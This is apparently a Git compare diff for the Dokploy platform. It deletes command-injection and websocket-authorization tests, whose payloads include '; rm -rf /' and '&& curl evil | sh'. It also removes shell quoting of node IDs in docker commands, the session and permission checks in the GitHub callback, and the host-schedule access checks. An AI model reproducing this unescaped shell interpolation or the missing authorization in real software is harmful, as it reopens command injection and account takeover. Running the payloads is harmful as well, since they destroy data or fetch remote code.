Compare commits

..

1 Commits

Author SHA1 Message Date
Mauricio Siu
dd32a23583 Update compose-command-injection.test.ts 2026-07-19 23:19:34 -06:00
41 changed files with 184 additions and 546 deletions

View File

@@ -1,70 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = (m: string) => [
`$(touch ${m})`,
"`touch " + m + "`",
`x; touch ${m}`,
`x | touch ${m}`,
];
describe("cluster removeWorker nodeId injection", () => {
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
it("escapes nodeId in drain/remove commands", () => {
for (const nodeId of PAYLOADS(MARK)) {
const drain = `: node update --availability drain ${quote([nodeId])}`;
const remove = `: node rm ${quote([nodeId])} --force`;
expect(runsSafely(drain)).toBe(true);
expect(runsSafely(remove)).toBe(true);
}
});
});
describe("swarm upload registry tag/push injection", () => {
// registryTag is built from registryUrl/username/imagePrefix (username and
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
for (const payload of PAYLOADS(MARK)) {
const registryTag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: payload,
username: "user",
} as any,
"app:latest",
);
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
const pushCmd = `: push ${quote([registryTag])}`;
expect(runsSafely(tagCmd)).toBe(true);
expect(runsSafely(pushCmd)).toBe(true);
}
});
it("keeps a legitimate registry tag intact", () => {
const tag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: "team",
username: "user",
} as any,
"myapp:1.2.3",
);
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
expect(parse(quote([tag]))).toEqual([tag]);
});
});

View File

@@ -5,7 +5,6 @@ import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest"; import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`; const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = { const base = {
composeType: "docker-compose" as const, composeType: "docker-compose" as const,
appName: "compose-app", appName: "compose-app",

View File

@@ -1,68 +0,0 @@
import { parse } from "shell-quote";
import { describe, expect, it, vi } from "vitest";
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
// "exists" but does not contain the attacker's service, forcing the error path
// whose message embeds the user-controlled serviceName.
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: () => true,
readFileSync: () => "services:\n web:\n image: nginx\n",
};
});
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
const baseCompose = {
appName: "my-app",
serverId: null,
composeType: "docker-compose",
sourceType: "raw",
composePath: "docker-compose.yml",
isolatedDeployment: false,
randomize: false,
suffix: "",
} as any;
const makeDomain = (serviceName: string) =>
({
host: "example.com",
serviceName,
https: false,
uniqueConfigKey: 1,
port: 3000,
}) as any;
// If the returned shell fragment is safe, parse() yields only string tokens.
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
const leaksShellSyntax = (command: string, marker: string) =>
parse(command).some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
it("does not let a malicious serviceName inject shell operators", async () => {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain("$(touch /tmp/pwned)"),
]);
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
// The payload text may appear inside the single-quoted echo argument, but
// it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
});
it("neutralizes backtick and semicolon payloads too", async () => {
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain(`svc${payload}`),
]);
expect(leaksShellSyntax(result, "rm")).toBe(false);
expect(leaksShellSyntax(result, "curl")).toBe(false);
expect(leaksShellSyntax(result, "id")).toBe(false);
}
});
});

View File

@@ -1,104 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the permission + server helpers the wss authorizer composes.
const mockHasPermission = vi.hoisted(() => vi.fn());
const mockFindMember = vi.hoisted(() => vi.fn());
const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
hasPermission: mockHasPermission,
findMemberByUserId: mockFindMember,
checkServiceAccess: mockCheckServiceAccess,
}));
const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", () => ({
getAccessibleServerIds: mockGetAccessibleServerIds,
}));
import {
canAccessDockerOverWss,
canAccessTerminalOverWss,
} from "@/server/wss/authorize";
const USER = { id: "user-1" };
const SESSION = { activeOrganizationId: "org-1" };
beforeEach(() => {
vi.clearAllMocks();
});
describe("canAccessDockerOverWss", () => {
it("denies when there is no user or session", async () => {
expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
expect(await canAccessDockerOverWss(USER, null)).toBe(false);
});
it("denies a member without docker permission", async () => {
mockHasPermission.mockResolvedValue(false);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
});
it("allows when the caller has docker permission (no server)", async () => {
mockHasPermission.mockResolvedValue(true);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
});
it("denies a remote server the caller cannot access, even with docker permission", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
});
it("allows a remote server the caller can access", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
});
it("denies when the container belongs to a service the caller cannot access", async () => {
mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
false,
);
});
it("allows service access even without docker permission or server access", async () => {
// A member granted the service but without canAccessToDocker, whose
// service runs on a server they were not individually granted, must still
// read its logs — matches application.readLogs (service access only).
mockHasPermission.mockResolvedValue(false);
mockGetAccessibleServerIds.mockResolvedValue(new Set());
mockCheckServiceAccess.mockResolvedValue(undefined);
expect(
await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
).toBe(true);
// Service path is authoritative — it must not fall through to docker/server.
expect(mockHasPermission).not.toHaveBeenCalled();
expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
});
});
describe("canAccessTerminalOverWss", () => {
it("denies the local host terminal to a plain member", async () => {
mockFindMember.mockResolvedValue({ role: "member" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
});
it("allows the local host terminal to an owner", async () => {
mockFindMember.mockResolvedValue({ role: "owner" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("allows the local host terminal to an admin", async () => {
mockFindMember.mockResolvedValue({ role: "admin" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("gates a remote server terminal on server access", async () => {
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
// role lookup must not be needed for the remote path
expect(mockFindMember).not.toHaveBeenCalled();
});
});

View File

@@ -271,7 +271,6 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
serviceId={applicationId}
> >
<Button <Button
variant="outline" variant="outline"

View File

@@ -50,10 +50,9 @@ export const badgeStateColor = (state: string) => {
interface Props { interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
serviceId?: string;
} }
export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => { export const ShowDockerLogs = ({ appName, serverId }: Props) => {
const [containerId, setContainerId] = useState<string | undefined>(); const [containerId, setContainerId] = useState<string | undefined>();
const [option, setOption] = useState<"swarm" | "native">("native"); const [option, setOption] = useState<"swarm" | "native">("native");
@@ -183,7 +182,6 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
serverId={serverId || ""} serverId={serverId || ""}
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
runType={option} runType={option}
serviceId={serviceId}
/> />
</CardContent> </CardContent>
</Card> </Card>

View File

@@ -55,14 +55,12 @@ interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
appType: "stack" | "docker-compose"; appType: "stack" | "docker-compose";
serviceId?: string;
} }
export const ShowComposeContainers = ({ export const ShowComposeContainers = ({
appName, appName,
appType, appType,
serverId, serverId,
serviceId,
}: Props) => { }: Props) => {
const { data, isPending, refetch } = const { data, isPending, refetch } =
api.docker.getContainersByAppNameMatch.useQuery( api.docker.getContainersByAppNameMatch.useQuery(
@@ -124,7 +122,6 @@ export const ShowComposeContainers = ({
key={container.containerId} key={container.containerId}
container={container} container={container}
serverId={serverId} serverId={serverId}
serviceId={serviceId}
onActionComplete={() => refetch()} onActionComplete={() => refetch()}
/> />
))} ))}
@@ -145,14 +142,12 @@ interface ContainerRowProps {
status: string; status: string;
}; };
serverId?: string; serverId?: string;
serviceId?: string;
onActionComplete: () => void; onActionComplete: () => void;
} }
const ContainerRow = ({ const ContainerRow = ({
container, container,
serverId, serverId,
serviceId,
onActionComplete, onActionComplete,
}: ContainerRowProps) => { }: ContainerRowProps) => {
const [logsOpen, setLogsOpen] = useState(false); const [logsOpen, setLogsOpen] = useState(false);
@@ -241,7 +236,6 @@ const ContainerRow = ({
<DockerTerminalModal <DockerTerminalModal
containerId={container.containerId} containerId={container.containerId}
serverId={serverId || ""} serverId={serverId || ""}
serviceId={serviceId}
> >
Terminal Terminal
</DockerTerminalModal> </DockerTerminalModal>
@@ -286,7 +280,6 @@ const ContainerRow = ({
containerId={container.containerId} containerId={container.containerId}
serverId={serverId} serverId={serverId}
runType="native" runType="native"
serviceId={serviceId}
/> />
</div> </div>
</DialogContent> </DialogContent>

View File

@@ -206,7 +206,6 @@ export const ComposeActions = ({ composeId }: Props) => {
appName={data?.appName || ""} appName={data?.appName || ""}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appType={data?.composeType || "docker-compose"} appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
> >
<Button <Button
variant="outline" variant="outline"

View File

@@ -35,14 +35,9 @@ export const DockerLogs = dynamic(
interface Props { interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
serviceId?: string;
} }
export const ShowDockerLogsStack = ({ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
appName,
serverId,
serviceId,
}: Props) => {
const [option, setOption] = useState<"swarm" | "native">("native"); const [option, setOption] = useState<"swarm" | "native">("native");
const [containerId, setContainerId] = useState<string | undefined>(); const [containerId, setContainerId] = useState<string | undefined>();
@@ -172,7 +167,6 @@ export const ShowDockerLogsStack = ({
serverId={serverId || ""} serverId={serverId || ""}
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
runType={option} runType={option}
serviceId={serviceId}
/> />
</CardContent> </CardContent>
</Card> </Card>

View File

@@ -35,14 +35,12 @@ interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
appType: "stack" | "docker-compose"; appType: "stack" | "docker-compose";
serviceId?: string;
} }
export const ShowDockerLogsCompose = ({ export const ShowDockerLogsCompose = ({
appName, appName,
appType, appType,
serverId, serverId,
serviceId,
}: Props) => { }: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery( const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{ {
@@ -106,7 +104,6 @@ export const ShowDockerLogsCompose = ({
serverId={serverId || ""} serverId={serverId || ""}
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
runType="native" runType="native"
serviceId={serviceId}
/> />
</CardContent> </CardContent>
</Card> </Card>

View File

@@ -23,7 +23,6 @@ interface Props {
containerId: string; containerId: string;
serverId?: string | null; serverId?: string | null;
runType: "swarm" | "native"; runType: "swarm" | "native";
serviceId?: string;
} }
export const priorities = [ export const priorities = [
@@ -53,7 +52,6 @@ export const DockerLogsId: React.FC<Props> = ({
containerId, containerId,
serverId, serverId,
runType, runType,
serviceId,
}) => { }) => {
const { data } = api.docker.getConfig.useQuery( const { data } = api.docker.getConfig.useQuery(
{ {
@@ -159,10 +157,6 @@ export const DockerLogsId: React.FC<Props> = ({
params.append("serverId", serverId); params.append("serverId", serverId);
} }
if (serviceId) {
params.append("serviceId", serviceId);
}
const wsUrl = `${protocol}//${ const wsUrl = `${protocol}//${
window.location.host window.location.host
}/docker-container-logs?${params.toString()}`; }/docker-container-logs?${params.toString()}`;
@@ -228,7 +222,7 @@ export const DockerLogsId: React.FC<Props> = ({
ws.close(); ws.close();
} }
}; };
}, [containerId, serverId, serviceId, lines, search, since]); }, [containerId, serverId, lines, search, since]);
const handleDownload = () => { const handleDownload = () => {
const logContent = filteredLogs const logContent = filteredLogs

View File

@@ -23,14 +23,12 @@ interface Props {
containerId: string; containerId: string;
serverId?: string; serverId?: string;
children?: React.ReactNode; children?: React.ReactNode;
serviceId?: string;
} }
export const DockerTerminalModal = ({ export const DockerTerminalModal = ({
children, children,
containerId, containerId,
serverId, serverId,
serviceId,
}: Props) => { }: Props) => {
const [mainDialogOpen, setMainDialogOpen] = useState(false); const [mainDialogOpen, setMainDialogOpen] = useState(false);
const [confirmDialogOpen, setConfirmDialogOpen] = useState(false); const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
@@ -76,7 +74,6 @@ export const DockerTerminalModal = ({
id="terminal" id="terminal"
containerId={containerId} containerId={containerId}
serverId={serverId || ""} serverId={serverId || ""}
serviceId={serviceId}
/> />
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}> <Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}> <DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -10,14 +10,12 @@ interface Props {
id: string; id: string;
containerId?: string; containerId?: string;
serverId?: string; serverId?: string;
serviceId?: string;
} }
export const DockerTerminal: React.FC<Props> = ({ export const DockerTerminal: React.FC<Props> = ({
id, id,
containerId, containerId,
serverId, serverId,
serviceId,
}) => { }) => {
const termRef = useRef(null); const termRef = useRef(null);
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash"); const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
@@ -40,7 +38,7 @@ export const DockerTerminal: React.FC<Props> = ({
const addonFit = new FitAddon(); const addonFit = new FitAddon();
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`; const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
const ws = new WebSocket(wsUrl); const ws = new WebSocket(wsUrl);

View File

@@ -229,7 +229,6 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
)} )}
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.libsqlId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -236,7 +236,6 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
))} ))}
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mariadbId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -230,7 +230,6 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mongoId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -228,7 +228,6 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mysqlId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -234,7 +234,6 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.postgresId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -229,7 +229,6 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.redisId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -40,7 +40,6 @@ interface Props {
children?: React.ReactNode; children?: React.ReactNode;
serverId?: string; serverId?: string;
appType?: "stack" | "docker-compose"; appType?: "stack" | "docker-compose";
serviceId?: string;
} }
export const DockerTerminalModal = ({ export const DockerTerminalModal = ({
@@ -48,7 +47,6 @@ export const DockerTerminalModal = ({
appName, appName,
serverId, serverId,
appType, appType,
serviceId,
}: Props) => { }: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery( const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{ {
@@ -133,7 +131,6 @@ export const DockerTerminalModal = ({
serverId={serverId || ""} serverId={serverId || ""}
id="terminal" id="terminal"
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
serviceId={serviceId}
/> />
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}> <Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}> <DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -1,6 +1,5 @@
import { createGithub, validateRequest } from "@dokploy/server"; import { createGithub } from "@dokploy/server";
import { db } from "@dokploy/server/db"; import { db } from "@dokploy/server/db";
import { hasPermission } from "@dokploy/server/services/permission";
import { eq } from "drizzle-orm"; import { eq } from "drizzle-orm";
import type { NextApiRequest, NextApiResponse } from "next"; import type { NextApiRequest, NextApiResponse } from "next";
import { Octokit } from "octokit"; import { Octokit } from "octokit";
@@ -22,22 +21,18 @@ export default async function handler(
if (!code) { if (!code) {
return res.status(400).json({ error: "Missing code parameter" }); return res.status(400).json({ error: "Missing code parameter" });
} }
const [action, ...rest] = state?.split(":");
const { user, session } = await validateRequest(req); // For gh_init: rest[0] = organizationId, rest[1] = userId
if (!user || !session?.activeOrganizationId) { // For gh_setup: rest[0] = githubProviderId
return res.status(401).json({ error: "Unauthorized" });
}
const ctx = {
user: { id: user.id },
session: { activeOrganizationId: session.activeOrganizationId },
};
const [action] = state?.split(":") ?? [];
if (!(await hasPermission(ctx, { gitProviders: ["create"] }))) {
return res.status(403).json({ error: "Forbidden" });
}
if (action === "gh_init") { if (action === "gh_init") {
const organizationId = rest[0];
const userId = rest[1] || (req.query.userId as string);
if (!userId) {
return res.status(400).json({ error: "Missing userId parameter" });
}
const octokit = new Octokit({}); const octokit = new Octokit({});
const { data } = await octokit.request( const { data } = await octokit.request(
"POST /app-manifests/{code}/conversions", "POST /app-manifests/{code}/conversions",
@@ -56,32 +51,16 @@ export default async function handler(
githubWebhookSecret: data.webhook_secret, githubWebhookSecret: data.webhook_secret,
githubPrivateKey: data.pem, githubPrivateKey: data.pem,
}, },
session.activeOrganizationId, organizationId as string,
user.id, userId,
); );
} else if (action === "gh_setup") { } else if (action === "gh_setup") {
const githubId = state?.split(":")[1];
if (!githubId) {
return res.status(400).json({ error: "Missing github provider id" });
}
const provider = await db.query.github.findFirst({
where: eq(github.githubId, githubId),
with: { gitProvider: true },
});
if (
!provider ||
provider.gitProvider.organizationId !== session.activeOrganizationId
) {
return res.status(404).json({ error: "Github provider not found" });
}
await db await db
.update(github) .update(github)
.set({ .set({
githubInstallationId: installation_id, githubInstallationId: installation_id,
}) })
.where(eq(github.githubId, githubId)) .where(eq(github.githubId, rest[0] as string))
.returning(); .returning();
} }

View File

@@ -347,7 +347,6 @@ const Service = (
<ShowDockerLogs <ShowDockerLogs
appName={data?.appName || ""} appName={data?.appName || ""}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
serviceId={data?.applicationId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -312,7 +312,6 @@ const Service = (
serverId={data?.serverId || undefined} serverId={data?.serverId || undefined}
appName={data?.appName || ""} appName={data?.appName || ""}
appType={data?.composeType || "docker-compose"} appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
/> />
</div> </div>
</TabsContent> </TabsContent>
@@ -381,13 +380,11 @@ const Service = (
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
appType={data?.composeType || "docker-compose"} appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
/> />
) : ( ) : (
<ShowDockerLogsStack <ShowDockerLogsStack
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.composeId}
/> />
)} )}
</div> </div>

View File

@@ -269,7 +269,6 @@ const Libsql = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.libsqlId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -299,7 +299,6 @@ const Mariadb = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mariadbId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -299,7 +299,6 @@ const Mongo = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mongoId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -276,7 +276,6 @@ const MySql = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mysqlId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -284,7 +284,6 @@ const Postgresql = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.postgresId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -297,7 +297,6 @@ const Redis = (
<ShowDockerLogs <ShowDockerLogs
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.redisId}
/> />
</div> </div>
</TabsContent> </TabsContent>

View File

@@ -6,7 +6,6 @@ import {
getRemoteDocker, getRemoteDocker,
} from "@dokploy/server"; } from "@dokploy/server";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { quote } from "shell-quote";
import { z } from "zod"; import { z } from "zod";
import { audit } from "@/server/api/utils/audit"; import { audit } from "@/server/api/utils/audit";
import { getLocalServerIp } from "@/server/wss/terminal"; import { getLocalServerIp } from "@/server/wss/terminal";
@@ -52,8 +51,8 @@ export const clusterRouter = createTRPCRouter({
} }
} }
try { try {
const drainCommand = `docker node update --availability drain ${quote([input.nodeId])}`; const drainCommand = `docker node update --availability drain ${input.nodeId}`;
const removeCommand = `docker node rm ${quote([input.nodeId])} --force`; const removeCommand = `docker node rm ${input.nodeId} --force`;
if (input.serverId) { if (input.serverId) {
await execAsyncRemote(input.serverId, drainCommand); await execAsyncRemote(input.serverId, drainCommand);

View File

@@ -13,7 +13,6 @@ import {
findMemberByUserId, findMemberByUserId,
} from "@dokploy/server/services/permission"; } from "@dokploy/server/services/permission";
import { import {
assertHostScheduleAccess,
createSchedule, createSchedule,
deleteSchedule, deleteSchedule,
findScheduleById, findScheduleById,
@@ -32,8 +31,6 @@ export const scheduleRouter = createTRPCRouter({
create: protectedProcedure create: protectedProcedure
.input(createScheduleSchema) .input(createScheduleSchema)
.mutation(async ({ input, ctx }) => { .mutation(async ({ input, ctx }) => {
await assertHostScheduleAccess(ctx, input.scheduleType, input.serverId);
const serviceId = input.applicationId || input.composeId; const serviceId = input.applicationId || input.composeId;
if (serviceId) { if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, { await checkServicePermissionAndAccess(ctx, serviceId, {
@@ -47,14 +44,51 @@ export const scheduleRouter = createTRPCRouter({
); );
} }
} else { } else {
if (input.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["create"] }); await checkPermission(ctx, { schedule: ["create"] });
if (IS_CLOUD && input.scheduleType === "server" && input.serverId) { if (
await assertScheduledJobLimit( input.scheduleType === "server" ||
input.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId, ctx.session.activeOrganizationId,
"server",
input.serverId,
); );
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (input.scheduleType === "server" && input.serverId) {
const targetServer = await findServerById(input.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
if (IS_CLOUD) {
await assertScheduledJobLimit(
ctx.session.activeOrganizationId,
"server",
input.serverId,
);
}
} }
} }
const newSchedule = await createSchedule({ const newSchedule = await createSchedule({
@@ -101,22 +135,6 @@ export const scheduleRouter = createTRPCRouter({
}); });
} }
await assertHostScheduleAccess(
ctx,
existingSchedule.scheduleType,
existingSchedule.serverId,
);
if (
input.scheduleType &&
input.scheduleType !== existingSchedule.scheduleType
) {
await assertHostScheduleAccess(
ctx,
input.scheduleType,
input.serverId ?? existingSchedule.serverId,
);
}
const serviceId = const serviceId =
existingSchedule.applicationId || existingSchedule.composeId; existingSchedule.applicationId || existingSchedule.composeId;
if (serviceId) { if (serviceId) {
@@ -124,7 +142,47 @@ export const scheduleRouter = createTRPCRouter({
schedule: ["update"], schedule: ["update"],
}); });
} else { } else {
if (existingSchedule.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["update"] }); await checkPermission(ctx, { schedule: ["update"] });
if (
existingSchedule.scheduleType === "server" ||
existingSchedule.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (
existingSchedule.scheduleType === "server" &&
existingSchedule.serverId
) {
const targetServer = await findServerById(existingSchedule.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
} }
const updatedSchedule = await updateSchedule(input); const updatedSchedule = await updateSchedule(input);
@@ -164,19 +222,50 @@ export const scheduleRouter = createTRPCRouter({
.input(z.object({ scheduleId: z.string() })) .input(z.object({ scheduleId: z.string() }))
.mutation(async ({ input, ctx }) => { .mutation(async ({ input, ctx }) => {
const scheduleItem = await findScheduleById(input.scheduleId); const scheduleItem = await findScheduleById(input.scheduleId);
await assertHostScheduleAccess(
ctx,
scheduleItem.scheduleType,
scheduleItem.serverId,
);
const serviceId = scheduleItem.applicationId || scheduleItem.composeId; const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
if (serviceId) { if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, { await checkServicePermissionAndAccess(ctx, serviceId, {
schedule: ["delete"], schedule: ["delete"],
}); });
} else { } else {
if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["delete"] }); await checkPermission(ctx, { schedule: ["delete"] });
if (
scheduleItem.scheduleType === "server" ||
scheduleItem.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
const targetServer = await findServerById(scheduleItem.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
